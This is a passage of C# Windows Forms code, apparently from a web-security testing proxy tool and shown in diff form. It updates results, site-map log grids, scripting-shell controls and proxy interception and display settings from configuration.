UpdateResultsTab(IronException IrEx) - { - if (UI.ResultsDisplayRTB.InvokeRequired) - { - UpdateResultsTabWithException_d URTWE_d = new UpdateResultsTabWithException_d(UpdateResultsTab); - UI.Invoke(URTWE_d, new object[] { IrEx }); - } - else - { - ResetPluginResultsTab(); - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;}"); - SB.Append(@" \b \fs30 "); SB.Append(Tools.RtfSafe(IrEx.Title)); SB.Append(@"\b0 "); - SB.Append(@" \par"); SB.Append(@" \par"); SB.Append(@" \fs20 "); - SB.AppendLine(Tools.RtfSafe(IrEx.Message)); SB.Append(@" \par \par "); - SB.Append(@" \cf1 \b StackTrace: \b0 \cf0 "); SB.Append(@" \par "); SB.AppendLine(Tools.RtfSafe(IrEx.StackTrace.Replace("\r\n",">"))); - SB.Append(@" \par "); SB.Append(@" \par "); - UI.ResultsDisplayRTB.Rtf = SB.ToString(); - UI.ResultsTriggersGrid.Rows.Clear(); - if (!UI.main_tab.SelectedTab.Name.Equals("mt_results")) UI.main_tab.SelectTab("mt_results"); - } - } - - //delegate void UpdateResultsTabWithSiteMapLog_d(string Host, string Url); - //internal static void UpdateResultsTab(string Host, string Url) - delegate void UpdateResultsTabWithSiteMapLog_d(Request UrlReq); - internal static void UpdateResultsTab(Request UrlReq) - { - if (UI.ResultsDisplayRTB.InvokeRequired) - { - UpdateResultsTabWithSiteMapLog_d URTWSML_d = new UpdateResultsTabWithSiteMapLog_d(UpdateResultsTab); - UI.Invoke(URTWSML_d, new object[] { UrlReq }); - } - else - { - ResetPluginResultsTab(); - UI.SiteMapLogGrid.Visible = false; - UI.SiteMapLogGrid.Rows.Clear(); - foreach (DataGridViewRow Row in UI.ProxyLogGrid.Rows) - { - if ((bool)Row.Cells["ProxyLogGridColumnForSSL"].Value != UrlReq.SSL) continue; - if (!Row.Cells["ProxyLogGridColumnForHostName"].Value.ToString().Equals(UrlReq.Host)) continue; - if (!Row.Cells["ProxyLogGridColumnForURL"].Value.ToString().StartsWith(UrlReq.Url)) continue; - - UI.SiteMapLogGrid.Rows.Add(new object[] { Row.Cells["ProxyLogGridColumnForID"].Value, "Proxy", Row.Cells["ProxyLogGridColumnForHostName"].Value, Row.Cells["ProxyLogGridColumnForMethod"].Value, Row.Cells["ProxyLogGridColumnForURL"].Value, Row.Cells["ProxyLogGridColumnForFile"].Value, Row.Cells["ProxyLogGridColumnForSSL"].Value, Row.Cells["ProxyLogGridColumnForParameters"].Value, Row.Cells["ProxyLogGridColumnForCode"].Value, Row.Cells["ProxyLogGridColumnForLength"].Value, Row.Cells["ProxyLogGridColumnForMIME"].Value, Row.Cells["ProxyLogGridColumnForSetCookie"].Value }); - } - foreach (DataGridViewRow Row in UI.TestLogGrid.Rows) - { - if ((bool)Row.Cells["MTLogGridColumnForSSL"].Value != UrlReq.SSL) continue; - if (!Row.Cells["MTLogGridColumnForHostName"].Value.ToString().Equals(UrlReq.Host)) continue; - if (!Row.Cells["MTLogGridColumnForURL"].Value.ToString().StartsWith(UrlReq.Url)) continue; - - UI.SiteMapLogGrid.Rows.Add(new object[] { Row.Cells["MTLogGridColumnForID"].Value, "Test", Row.Cells["MTLogGridColumnForHostName"].Value, Row.Cells["MTLogGridColumnForMethod"].Value, Row.Cells["MTLogGridColumnForURL"].Value, Row.Cells["MTLogGridColumnForFile"].Value, Row.Cells["MTLogGridColumnForSSL"].Value, Row.Cells["MTLogGridColumnForParameters"].Value, Row.Cells["MTLogGridColumnForCode"].Value, Row.Cells["MTLogGridColumnForLength"].Value, Row.Cells["MTLogGridColumnForMIME"].Value, Row.Cells["MTLogGridColumnForSetCookie"].Value }); - } - foreach (DataGridViewRow Row in UI.ShellLogGrid.Rows) - { - if ((bool)Row.Cells["ScriptingLogGridColumnForSSL"].Value != UrlReq.SSL) continue; - if (!Row.Cells["ScriptingLogGridColumnForHostName"].Value.ToString().Equals(UrlReq.Host)) continue; - if (!Row.Cells["ScriptingLogGridColumnForURL"].Value.ToString().StartsWith(UrlReq.Url)) continue; - - UI.SiteMapLogGrid.Rows.Add(new object[] { Row.Cells["ScriptingLogGridColumnForID"].Value, "Shell", Row.Cells["ScriptingLogGridColumnForHostName"].Value, Row.Cells["ScriptingLogGridColumnForMethod"].Value, Row.Cells["ScriptingLogGridColumnForURL"].Value, Row.Cells["ScriptingLogGridColumnForFile"].Value, Row.Cells["ScriptingLogGridColumnForSSL"].Value, Row.Cells["ScriptingLogGridColumnForParameters"].Value, Row.Cells["ScriptingLogGridColumnForCode"].Value, Row.Cells["ScriptingLogGridColumnForLength"].Value, Row.Cells["ScriptingLogGridColumnForMIME"].Value, Row.Cells["ScriptingLogGridColumnForSetCookie"].Value }); - } - foreach (DataGridViewRow Row in UI.ProbeLogGrid.Rows) - { - if ((bool)Row.Cells["ProbeLogGridColumnForSSL"].Value != UrlReq.SSL) continue; - if (!Row.Cells["ProbeLogGridColumnForHostName"].Value.ToString().Equals(UrlReq.Host)) continue; - if (!Row.Cells["ProbeLogGridColumnForURL"].Value.ToString().StartsWith(UrlReq.Url)) continue; - - UI.SiteMapLogGrid.Rows.Add(new object[] { Row.Cells["ProbeLogGridColumnForID"].Value, "Probe", Row.Cells["ProbeLogGridColumnForHostName"].Value, Row.Cells["ProbeLogGridColumnForMethod"].Value, Row.Cells["ProbeLogGridColumnForURL"].Value, Row.Cells["ProbeLogGridColumnForFile"].Value, Row.Cells["ProbeLogGridColumnForSSL"].Value, Row.Cells["ProbeLogGridColumnForParameters"].Value, Row.Cells["ProbeLogGridColumnForCode"].Value, Row.Cells["ProbeLogGridColumnForLength"].Value, Row.Cells["ProbeLogGridColumnForMIME"].Value, Row.Cells["ProbeLogGridColumnForSetCookie"].Value }); - } - foreach (DataGridViewRow Row in UI.ScanLogGrid.Rows) - { - if ((bool)Row.Cells["ScanLogGridColumnForSSL"].Value != UrlReq.SSL) continue; - if (!Row.Cells["ScanLogGridColumnForHost"].Value.ToString().Equals(UrlReq.Host)) continue; - if (!Row.Cells["ScanLogGridColumnForURL"].Value.ToString().StartsWith(UrlReq.Url)) continue; - - UI.SiteMapLogGrid.Rows.Add(new object[] { Row.Cells["ScanLogGridColumnForID"].Value, "Scan", Row.Cells["ScanLogGridColumnForHost"].Value, Row.Cells["ScanLogGridColumnForMethod"].Value, Row.Cells["ScanLogGridColumnForURL"].Value, Row.Cells["ScanLogGridColumnForFile"].Value, Row.Cells["ScanLogGridColumnForSSL"].Value, Row.Cells["ScanLogGridColumnForParameters"].Value, Row.Cells["ScanLogGridColumnForCode"].Value, Row.Cells["ScanLogGridColumnForLength"].Value, Row.Cells["ScanLogGridColumnForMIME"].Value, Row.Cells["ScanLogGridColumnForSetCookie"].Value }); - } - if (!UI.main_tab.SelectedTab.Name.Equals("mt_logs")) UI.main_tab.SelectTab("mt_logs"); - if (!UI.LogTabs.SelectedTab.Name.Equals("SiteMapLogTab")) UI.LogTabs.SelectTab("SiteMapLogTab"); - IronUI.LogGridStatus(true); - ResetPluginResultsTab(); - UI.SiteMapLogGrid.Visible = true; - } - } - - internal static void DisplayPluginDetails(string[] PluginDetails) - { - string Language = "Python"; - if (PluginDetails[4].Equals("Ruby")) Language = "Ruby"; - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;}"); - SB.Append(@" \b \fs30"); SB.Append(Tools.RtfSafe(PluginDetails[0])); SB.Append(@"\b0 "); - SB.Append(@" \par \par \fs20"); - SB.Append(@" \cf1 \b Language: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PluginDetails[4])); SB.Append(@" \par"); - SB.Append(@" \cf1 \b File: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PluginDetails[2])); SB.Append(@" \par"); - SB.Append(@" \par"); - SB.Append(@" \cf1 \b Description: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(PluginDetails[1])); SB.Append(@" \par"); - SB.Append(@" \par"); - UI.PluginDetailsRTB.Rtf = SB.ToString(); - UI.PluginEditorInTE.Text = PluginDetails[3]; - Directory.SetCurrentDirectory(Config.RootDir); - UI.PluginEditorInTE.SetHighlighting(Language); - UI.PluginEditorInTE.Refresh(); - } - - internal static void DisplayModuleDetails(string[] ModuleDetails) - { - string Language = "Python"; - if (ModuleDetails[4].Equals("Ruby")) Language = "Ruby"; - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;}"); - SB.Append(@" \b \fs30"); SB.Append(Tools.RtfSafe(ModuleDetails[5])); SB.Append(@"\b0 "); - SB.Append(@" \par \par \fs20"); - SB.Append(@" \cf1 \b Name: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(ModuleDetails[0])); SB.Append(@" \par"); - SB.Append(@" \cf1 \b Language: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(ModuleDetails[4])); SB.Append(@" \par"); - SB.Append(@" \cf1 \b File: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(ModuleDetails[2])); SB.Append(@" \par"); - SB.Append(@" \par"); - SB.Append(@" \cf1 \b Description: \b0 \cf0 "); SB.AppendLine(Tools.RtfSafe(ModuleDetails[1])); SB.Append(@" \par"); - SB.Append(@" \par"); - UI.PluginDetailsRTB.Rtf = SB.ToString(); - UI.PluginEditorInTE.Text = ModuleDetails[3]; - Directory.SetCurrentDirectory(Config.RootDir); - UI.PluginEditorInTE.SetHighlighting(Language); - UI.PluginEditorInTE.Refresh(); - } - - delegate void FreezeInteractiveShellUI_d(); - internal static void FreezeInteractiveShellUI() - { - if (UI.InteractiveShellOut.InvokeRequired) - { - FreezeInteractiveShellUI_d FISU_d = new FreezeInteractiveShellUI_d(FreezeInteractiveShellUI); - UI.Invoke(FISU_d, new object[] { }); - } - else - { - UI.InteractiveShellCtrlCBtn.Enabled = true; - UI.MultiLineShellExecuteBtn.Enabled = false; - UI.InteractiveShellPromptBox.BackColor = Color.DimGray; - UI.InteractiveShellIn.BackColor = Color.DimGray; - UI.InteractiveShellIn.ReadOnly = true; - // - UI.InteractiveShellPythonRB.Enabled = false; - UI.InteractiveShellRubyRB.Enabled = false; - } - } - - delegate void ActivateinteractiveShellUI_d(); - internal static void ActivateinteractiveShellUI() - { - if (UI.InteractiveShellOut.InvokeRequired) - { - ActivateinteractiveShellUI_d AISU_d = new ActivateinteractiveShellUI_d(ActivateinteractiveShellUI); - UI.Invoke(AISU_d, new object[] { }); - } - else - { - UI.InteractiveShellCtrlCBtn.Enabled = false; - UI.MultiLineShellExecuteBtn.Enabled = true; - UI.InteractiveShellPromptBox.BackColor = Color.Black; - UI.InteractiveShellIn.BackColor = Color.Black; - UI.InteractiveShellIn.ReadOnly = false; - UI.InteractiveShellPythonRB.Enabled = true; - UI.InteractiveShellRubyRB.Enabled = true; - UI.InteractiveShellIn.Focus(); - } - } - - delegate void UpdateInteractiveShellOut_d(string Output); - internal static void UpdateInteractiveShellOut(string Output) - { - if (UI.InteractiveShellOut.InvokeRequired) - { - UpdateInteractiveShellOut_d UISO_d = new UpdateInteractiveShellOut_d(UpdateInteractiveShellOut); - UI.Invoke(UISO_d, new object[] { Output }); - } - else - { - IronScripting.ShellOutText.Append(Output); - if (IronScripting.CheckOnOutText()) - { - UI.InteractiveShellOut.Text = IronScripting.ShellOutText.ToString().TrimEnd(); - UI.InteractiveShellOut.AppendText("\r\n"); - } - else - { - UI.InteractiveShellOut.AppendText(Output); - } - } - } - - delegate void UpdateInteractiveShellResult_d(InteractiveShellResult ISR); - internal static void UpdateInteractiveShellResult(InteractiveShellResult ISR) - { - if (UI.InteractiveShellOut.InvokeRequired) - { - UpdateInteractiveShellResult_d UISR_d = new UpdateInteractiveShellResult_d(UpdateInteractiveShellResult); - UI.Invoke(UISR_d, new object[] { ISR }); - } - else - { - if (ISR.MoreExpected) - { - UpdateInteractiveShellOut(IronScripting.ShellPrompt); - } - else if(ISR.ResultString.Length > 0) - { - UpdateInteractiveShellOut(ISR.ResultString); - } - UpdateShellInPrompt(IronScripting.ShellPrompt); - ActivateinteractiveShellUI(); - } - } - - delegate void ResetInteractiveShellResult_d(); - internal static void ResetInteractiveShellResult() - { - if (UI.InteractiveShellOut.InvokeRequired) - { - ResetInteractiveShellResult_d RISR_d = new ResetInteractiveShellResult_d(ResetInteractiveShellResult); - UI.Invoke(RISR_d, new object[] { }); - } - else - { - IronUI.UI.InteractiveShellOut.Text = ""; - } - - } - - delegate void EndInitialiseAll_d(); - internal static void EndInitialiseAll() - { - if (UI.InvokeRequired) - { - EndInitialiseAll_d EIA_d = new EndInitialiseAll_d(EndInitialiseAll); - UI.Invoke(EIA_d, new object[] { }); - } - else - { - UI.Visible = true; - } - - } - - delegate void EnableStoredRequestBtn_d(); - internal static void EnableStoredRequestBtn() - { - if (UI.MTStoredRequestBtn.InvokeRequired) - { - EnableStoredRequestBtn_d ESRB_d = new EnableStoredRequestBtn_d(EnableStoredRequestBtn); - UI.Invoke(ESRB_d, new object[] { }); - } - else - { - UI.MTStoredRequestBtn.Enabled = true; - } - } - delegate void UpdateProxyStatusInConfigPanel_d(bool Started); - internal static void UpdateProxyStatusInConfigPanel(bool Started) - { - if (UI.ConfigSetAsSystemProxyCB.InvokeRequired) - { - UpdateProxyStatusInConfigPanel_d UPSICP_d = new UpdateProxyStatusInConfigPanel_d(UpdateProxyStatusInConfigPanel); - UI.Invoke(UPSICP_d, new object[] { Started }); - } - else - { - if (Started) - { - IronUI.UI.ConfigSetAsSystemProxyCB.Enabled = true; - } - else - { - IronUI.UI.ConfigSetAsSystemProxyCB.Enabled = false; - } - } - } - - delegate void ShowProxyStoppedError_d(string Error); - internal static void ShowProxyStoppedError(string Error) - { - if (UI.ConfigSetAsSystemProxyCB.InvokeRequired) - { - ShowProxyStoppedError_d SPSE_d = new ShowProxyStoppedError_d(ShowProxyStoppedError); - UI.Invoke(SPSE_d, new object[] { Error }); - } - else - { - IronUI.ShowProxyException(Error); - if(!IronUI.UI.main_tab.SelectedTab.Name.Equals("mt_proxy")) IronUI.UI.main_tab.SelectTab("mt_proxy"); - MakeUiTopMost(true); - } - } - - delegate void UpdateUIFromConfig_d(); - internal static void UpdateUIFromConfig() - { - if (UI.InvokeRequired) - { - UpdateUIFromConfig_d UUFC_d = new UpdateUIFromConfig_d(UpdateUIFromConfig); - UI.Invoke(UUFC_d, new object[] { }); - } - else - { - UpdateProxySettingFromConfig(); - UpdateUpstreamProxySettingFromConfig(); - UpdatePyPathsFromConfig(); - UpdateRbPathsFromConfig(); - UpdatePyCommandsFromConfig(); - UpdateRbCommandsFromConfig(); - UpdateRequestTextTypesFromConfig(); - UpdateResponseTextTypesFromConfig(); - UpdateLogDisplayFilterInUIFromConfig(); - UpdateInterceptionRulesInUIFromConfig(); - UpdateJSTaintConfigInUIFromConfig(); - UpdateScannerSettingsInUIFromConfig(); - UpdatePassiveAnalysisSettingsInUIFromConfig(); - } - } - - delegate void SetProxyPortLabel_d(); - internal static void SetProxyPortLabel() - { - if (UI.ProxyPortLbl.InvokeRequired) - { - SetProxyPortLabel_d CALL_d = new SetProxyPortLabel_d(SetProxyPortLabel); - UI.Invoke(CALL_d, new object[] { }); - } - else - { - UI.ProxyPortLbl.Text = IronProxy.Port.ToString(); - } - } - - delegate void SetProxyLoopbackLabel_d(); - internal static void SetProxyLoopbackLabel() - { - if (UI.ProxyLoopbackLbl.InvokeRequired) - { - SetProxyLoopbackLabel_d CALL_d = new SetProxyLoopbackLabel_d(SetProxyLoopbackLabel); - UI.Invoke(CALL_d, new object[] { }); - } - else - { - if (IronProxy.LoopBackOnly) - { - UI.ProxyLoopbackLbl.Text = "No"; - } - else - { - UI.ProxyLoopbackLbl.Text = "Yes"; - } - } - } - - internal static void UpdateProxySettingFromConfig() - { - UI.ConfigSetAsSystemProxyCB.Checked = IronProxy.SystemProxy; - } - - internal static void UpdateUpstreamProxySettingFromConfig() - { - bool UseUpStream = IronProxy.UseUpstreamProxy; - IronProxy.UseUpstreamProxy = UseUpStream; - } - - internal static void UpdatePyPathsFromConfig() - { - StringBuilder PyPaths = new StringBuilder(); - foreach(string Path in IronScripting.PyPaths) - { - PyPaths.AppendLine(Path); - } - UI.ConfigScriptPyPathsTB.Text = PyPaths.ToString(); - } - - internal static void UpdateRbPathsFromConfig() - { - StringBuilder RbPaths = new StringBuilder(); - foreach (string Path in IronScripting.RbPaths) - { - RbPaths.AppendLine(Path); - } - UI.ConfigScriptRbPathsTB.Text = RbPaths.ToString(); - } - - internal static void UpdatePyCommandsFromConfig() - { - StringBuilder PyCommands = new StringBuilder(); - foreach (string Command in IronScripting.PyCommands) - { - PyCommands.AppendLine(Command); - } - UI.ConfigScriptPyCommandsTB.Text = PyCommands.ToString(); - } - - internal static void UpdateRbCommandsFromConfig() - { - StringBuilder RbCommands = new StringBuilder(); - foreach (string Command in IronScripting.RbCommands) - { - RbCommands.AppendLine(Command); - } - UI.ConfigScriptRbCommandsTB.Text = RbCommands.ToString(); - } - - internal static void UpdateRequestTextTypesFromConfig() - { - StringBuilder Types = new StringBuilder(); - foreach (string Type in Request.TextContentTypes) - { - Types.AppendLine(Type); - } - UI.ConfigRequestTypesTB.Text = Types.ToString(); - } - - internal static void UpdateResponseTextTypesFromConfig() - { - StringBuilder Types = new StringBuilder(); - foreach (string Type in Response.TextContentTypes) - { - Types.AppendLine(Type); - } - UI.ConfigResponseTypesTB.Text = Types.ToString(); - } - - internal static void UpdateLogDisplayFilterInUIFromConfig() - { - UI.ConfigDisplayRuleGETMethodCB.Checked = IronProxy.DisplayGET; - UI.ConfigDisplayRulePOSTMethodCB.Checked = IronProxy.DisplayPOST; - UI.ConfigDisplayRuleOtherMethodsCB.Checked = IronProxy.DisplayOtherMethods; - UI.ConfigDisplayRuleCode200CB.Checked = IronProxy.Display200; - UI.ConfigDisplayRuleCode2xxCB.Checked = IronProxy.Display2xx; - UI.ConfigDisplayRuleCode301_2CB.Checked = IronProxy.Display301_2; - UI.ConfigDisplayRuleCode3xxCB.Checked = IronProxy.Display3xx; - UI.ConfigDisplayRuleCode403CB.Checked = IronProxy.Display403; - UI.ConfigDisplayRuleCode4xxCB.Checked = IronProxy.Display4xx; - UI.ConfigDisplayRuleCode500CB.Checked = IronProxy.Display500; - UI.ConfigDisplayRuleCode5xxCB.Checked = IronProxy.Display5xx; - UI.ConfigDisplayRuleContentHTMLCB.Checked = IronProxy.DisplayHTML; - UI.ConfigDisplayRuleContentCSSCB.Checked = IronProxy.DisplayCSS; - UI.ConfigDisplayRuleContentJSCB.Checked = IronProxy.DisplayJS; - UI.ConfigDisplayRuleContentXMLCB.Checked = IronProxy.DisplayXML; - UI.ConfigDisplayRuleContentJSONCB.Checked = IronProxy.DisplayJSON; - UI.ConfigDisplayRuleContentOtherTextCB.Checked = IronProxy.DisplayOtherText; - UI.ConfigDisplayRuleContentImgCB.Checked = IronProxy.DisplayImg; - UI.ConfigDisplayRuleContentOtherBinaryCB.Checked = IronProxy.DisplayOtherBinary; - - UI.ConfigDisplayRuleHostNamesCB.Checked = IronProxy.DisplayCheckHostNames; - UI.ConfigDisplayRuleHostNamesPlusRB.Checked = IronProxy.DisplayCheckHostNamesPlus; - UI.ConfigDisplayRuleHostNamesMinusRB.Checked = IronProxy.DisplayCheckHostNamesMinus; - UI.ConfigDisplayRuleHostNamesPlusTB.Text = Tools.ListToCsv(IronProxy.DisplayHostNames); - UI.ConfigDisplayRuleHostNamesMinusTB.Text = Tools.ListToCsv(IronProxy.DontDisplayHostNames); - UI.ConfigDisplayRuleFileExtensionsCB.Checked = IronProxy.DisplayCheckFileExtensions; - UI.ConfigDisplayRuleFileExtensionsPlusRB.Checked = IronProxy.DisplayCheckFileExtensionsPlus; - UI.ConfigDisplayRuleFileExtensionsMinusRB.Checked = IronProxy.DisplayCheckFileExtensionsMinus; - UI.ConfigDisplayRuleFileExtensionsPlusTB.Text = Tools.ListToCsv(IronProxy.DisplayFileExtensions); - UI.ConfigDisplayRuleFileExtensionsMinusTB.Text = Tools.ListToCsv(IronProxy.DontDisplayFileExtensions); - } - - internal static void UpdateInterceptionRulesInUIFromConfig() - { - UI.ConfigRuleGETMethodCB.Checked = IronProxy.InterceptGET; - UI.ConfigRulePOSTMethodCB.Checked = IronProxy.InterceptPOST; - UI.ConfigRuleOtherMethodsCB.Checked = IronProxy.InterceptOtherMethods; - UI.ConfigRuleCode200CB.Checked = IronProxy.Intercept200; - UI.ConfigRuleCode2xxCB.Checked = IronProxy.Intercept2xx; - UI.ConfigRuleCode301_2CB.Checked = IronProxy.Intercept301_2; - UI.ConfigRuleCode3xxCB.Checked = IronProxy.Intercept3xx; - UI.ConfigRuleCode403CB.Checked = IronProxy.Intercept403; - UI.ConfigRuleCode4xxCB.Checked = IronProxy.Intercept4xx; - UI.ConfigRuleCode500CB.Checked = IronProxy.Intercept500; - UI.ConfigRuleCode5xxCB.Checked = IronProxy.Intercept5xx; - UI.ConfigRuleContentHTMLCB.Checked = IronProxy.InterceptHTML; - UI.ConfigRuleContentCSSCB.Checked = IronProxy.InterceptCSS; - UI.ConfigRuleContentJSCB.Checked = IronProxy.InterceptJS; - UI.ConfigRuleContentXMLCB.Checked = IronProxy.InterceptXML; - UI.ConfigRuleContentJSONCB.Checked = IronProxy.InterceptJSON; - UI.ConfigRuleContentOtherTextCB.Checked = IronProxy.InterceptOtherText; - UI.ConfigRuleContentImgCB.Checked = IronProxy.InterceptImg; - UI.ConfigRuleContentOtherBinaryCB.Checked = IronProxy.InterceptOtherBinary; - - UI.ConfigRuleHostNamesCB.Checked = IronProxy.InterceptCheckHostNames; - UI.ConfigRuleHostNamesPlusRB.Checked = IronProxy.InterceptCheckHostNamesPlus; - UI.ConfigRuleHostNamesMinusRB.Checked = IronProxy.InterceptCheckHostNamesMinus; - UI.ConfigRuleHostNamesPlusTB.Text = Tools.ListToCsv(IronProxy.InterceptHostNames); - UI.ConfigRuleHostNamesMinusTB.Text = Tools.ListToCsv(IronProxy.DontInterceptHostNames); - - UI.ConfigRuleFileExtensionsCB.Checked = IronProxy.InterceptCheckFileExtensions; - UI.ConfigRuleFileExtensionsPlusRB.Checked = IronProxy.InterceptCheckFileExtensionsPlus; - UI.ConfigRuleFileExtensionsMinusRB.Checked = IronProxy.InterceptCheckFileExtensionsMinus; - UI.ConfigRuleFileExtensionsPlusTB.Text = Tools.ListToCsv(IronProxy.InterceptFileExtensions); - UI.ConfigRuleFileExtensionsMinusTB.Text = Tools.ListToCsv(IronProxy.DontInterceptFileExtensions); - - UI.ConfigRuleKeywordInRequestCB.Checked = IronProxy.InterceptCheckRequestWithKeyword; - UI.ConfigRuleKeywordInRequestPlusRB.Checked = IronProxy.InterceptCheckRequestWithKeywordPlus; - UI.ConfigRuleKeywordInRequestMinusRB.Checked = IronProxy.InterceptCheckRequestWithKeywordMinus; - UI.ConfigRuleKeywordInRequestPlusTB.Text = IronProxy.InterceptRequestWithKeyword; - UI.ConfigRuleKeywordInRequestMinusTB.Text = IronProxy.DontInterceptRequestWithKeyword; - - UI.ConfigRuleKeywordInResponseCB.Checked = IronProxy.InterceptCheckResponseWithKeyword; - UI.ConfigRuleKeywordInResponsePlusRB.Checked = IronProxy.InterceptCheckResponseWithKeywordPlus; - UI.ConfigRuleKeywordInResponseMinusRB.Checked = IronProxy.InterceptCheckResponseWithKeywordMinus; - UI.ConfigRuleKeywordInResponsePlusTB.Text = IronProxy.InterceptResponseWithKeyword; - UI.ConfigRuleKeywordInResponseMinusTB.Text = IronProxy.DontInterceptResponseWithKeyword; - - UI.ConfigRuleRequestOnResponseRulesCB.Checked = IronProxy.RequestRulesOnResponse; - } - - internal static void UpdateJSTaintConfigInUIFromConfig() - { - UI.ConfigDefaultJSTaintConfigGrid.Rows.Clear(); - List> Lists = new List>() { new List(IronJint.DefaultSourceObjects), new List(IronJint.DefaultSinkObjects), new List(IronJint.DefaultSourceReturningMethods), new List(IronJint.DefaultSinkReturningMethods), new List(IronJint.DefaultArgumentReturningMethods), new List(IronJint.DefaultArgumentAssignedASourceMethods), new List(IronJint.DefaultArgumentAssignedToSinkMethods) }; - int MaxCount = 0; - foreach (List List in Lists) - { - if (List.Count > MaxCount) MaxCount = List.Count; - } - foreach (List List in Lists) - { - while (List.Count < MaxCount) - { - List.Add(""); - } - } - for (int i = 0; i < MaxCount; i++) - { - UI.ConfigDefaultJSTaintConfigGrid.Rows.Add(new object[] { Lists[0][i], Lists[1][i], Lists[5][i], Lists[6][i], Lists[2][i], Lists[3][i], Lists[4][i] }); - } - } - - delegate void UpdateScannerSettingsInUIFromConfig_d(); - internal static void UpdateScannerSettingsInUIFromConfig() - { - if (UI.ConfigScannerThreadMaxCountTB.InvokeRequired) - { - UpdateScannerSettingsInUIFromConfig_d CALL_d = new UpdateScannerSettingsInUIFromConfig_d(UpdateScannerSettingsInUIFromConfig); - UI.Invoke(CALL_d, new object[] { }); - } - else - { - UI.ConfigScannerThreadMaxCountTB.Value = Scanner.MaxParallelScanCount; - UI.ConfigScannerThreadMaxCountLbl.Text = UI.ConfigScannerThreadMaxCountTB.Value.ToString(); - } - } - - internal static void UpdatePassiveAnalysisSettingsInUIFromConfig() - { - UI.ConfigPassiveAnalysisOnProxyTrafficCB.Checked = PassiveChecker.RunOnProxyTraffic; - UI.ConfigPassiveAnalysisOnShellTrafficCB.Checked = PassiveChecker.RunOnShellTraffic; - UI.ConfigPassiveAnalysisOnTestTrafficCB.Checked = PassiveChecker.RunOnTestTraffic; - UI.ConfigPassiveAnalysisOnScanTrafficCB.Checked = PassiveChecker.RunOnScanTraffic; - UI.ConfigPassiveAnalysisOnProbeTrafficCB.Checked = PassiveChecker.RunOnProbeTraffic; - } - - delegate void UpdateProxyLogBasedOnDisplayFilter_d(); - internal static void UpdateProxyLogBasedOnDisplayFilter() - { - - if (UI.ProxyLogGrid.InvokeRequired) - { - UpdateProxyLogBasedOnDisplayFilter_d UPLBODF_d = new UpdateProxyLogBasedOnDisplayFilter_d(UpdateProxyLogBasedOnDisplayFilter); - UI.Invoke(UPLBODF_d, new object[] { }); - } - else - { - string Method = null; - string Host = null; - string FileExtension = null; - int Code = 0; - string ContentType = null; - bool IgnoreContentType = false; - - foreach (DataGridViewRow Row in UI.ProxyLogGrid.Rows) - { - if (Row.Cells["ProxyLogGridColumnForMethod"].Value != null) - { - Method = Row.Cells["ProxyLogGridColumnForMethod"].Value.ToString(); - } - else - { - Method = null; - } - if (Row.Cells["ProxyLogGridColumnForHostName"].Value != null) - { - Host = Row.Cells["ProxyLogGridColumnForHostName"].Value.ToString(); - } - else - { - Host = null; - } - if (Row.Cells["ProxyLogGridColumnForFile"].Value != null) - { - FileExtension = Row.Cells["ProxyLogGridColumnForFile"].Value.ToString(); - } - else - { - FileExtension = null; - } - if (Row.Cells["ProxyLogGridColumnForCode"].Value != null) - { - if (!Int32.TryParse(Row.Cells["ProxyLogGridColumnForCode"].Value.ToString(), out Code)) - { - Code = 0; - } - } - else - { - Code = 0; - } - if (Row.Cells["ProxyLogGridColumnForMIME"].Value != null) - { - ContentType = Row.Cells["ProxyLogGridColumnForMIME"].Value.ToString(); - } - else - { - ContentType = null; - } - if (Row.Cells["ProxyLogGridColumnForLength"].Value != null) - { - if (Row.Cells["ProxyLogGridColumnForLength"].Value.ToString().Equals("0")) - { - IgnoreContentType = true; - } - } - else - { - IgnoreContentType = false; - } - Row.Visible = IronProxy.CanDisplayRowInLogDisplay(Method, Host, FileExtension, Code, ContentType, IgnoreContentType); - } - } - } - - internal static void StartUpdatingFullUIFromDB() - { - IronProxy.Stop(); - SetUIVisibility(false); - - IronUI.WF = new WaitForm(); - - Thread T = new Thread(new ThreadStart(ShowWaitForm)); - T.Start(); - Thread.Sleep(1000); - UpdateFullUIFromDB(); - } - - static void ShowWaitForm() - { - IronUI.WF.Text = "Reading Iron Project file..."; - IronUI.WF.WaitFormProgressBar.Minimum = 1; - IronUI.WF.WaitFormProgressBar.Maximum = 12; - IronUI.WF.WaitFormProgressBar.Value = 1; - IronUI.WF.WaitFormProgressBar.Step = 1; - IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Tasks", "Count", "Status" }); - IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Proxy Logs", "0", "Not Done" }); - IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Manual Testing Logs", "0", "Not Done" }); - IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Scripting Shell Logs", "0", "Not Done" }); - IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Automated Scanning Queue", "0", "Not Done" }); - IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load ScanTrace Messages", "0", "Not Done" }); - IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Automated Scanning Logs", "0", "Not Done" }); - IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Probe Logs", "0", "Not Done" }); - IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Plugin Results", "0", "Not Done" }); - IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Exceptions", "0", "Not Done" }); - IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Sitemap", "0", "Not Done" }); - IronUI.WF.ProjectLoadGrid.Rows.Add(new object[] { "Load Trace Messages", "0", "Not Done" }); - IronUI.WF.ProjectLoadGrid.Rows[0].DefaultCellStyle.Alignment = DataGridViewContentAlignment.MiddleCenter; - IronUI.WF.ShowDialog(); - } - - delegate void StopUpdatingFullUIFromDB_d(); - static void StopUpdatingFullUIFromDB() - { - if (IronUI.WF.InvokeRequired) - { - SetUIVisibility(true); - StopUpdatingFullUIFromDB_d SUFUFD_d = new 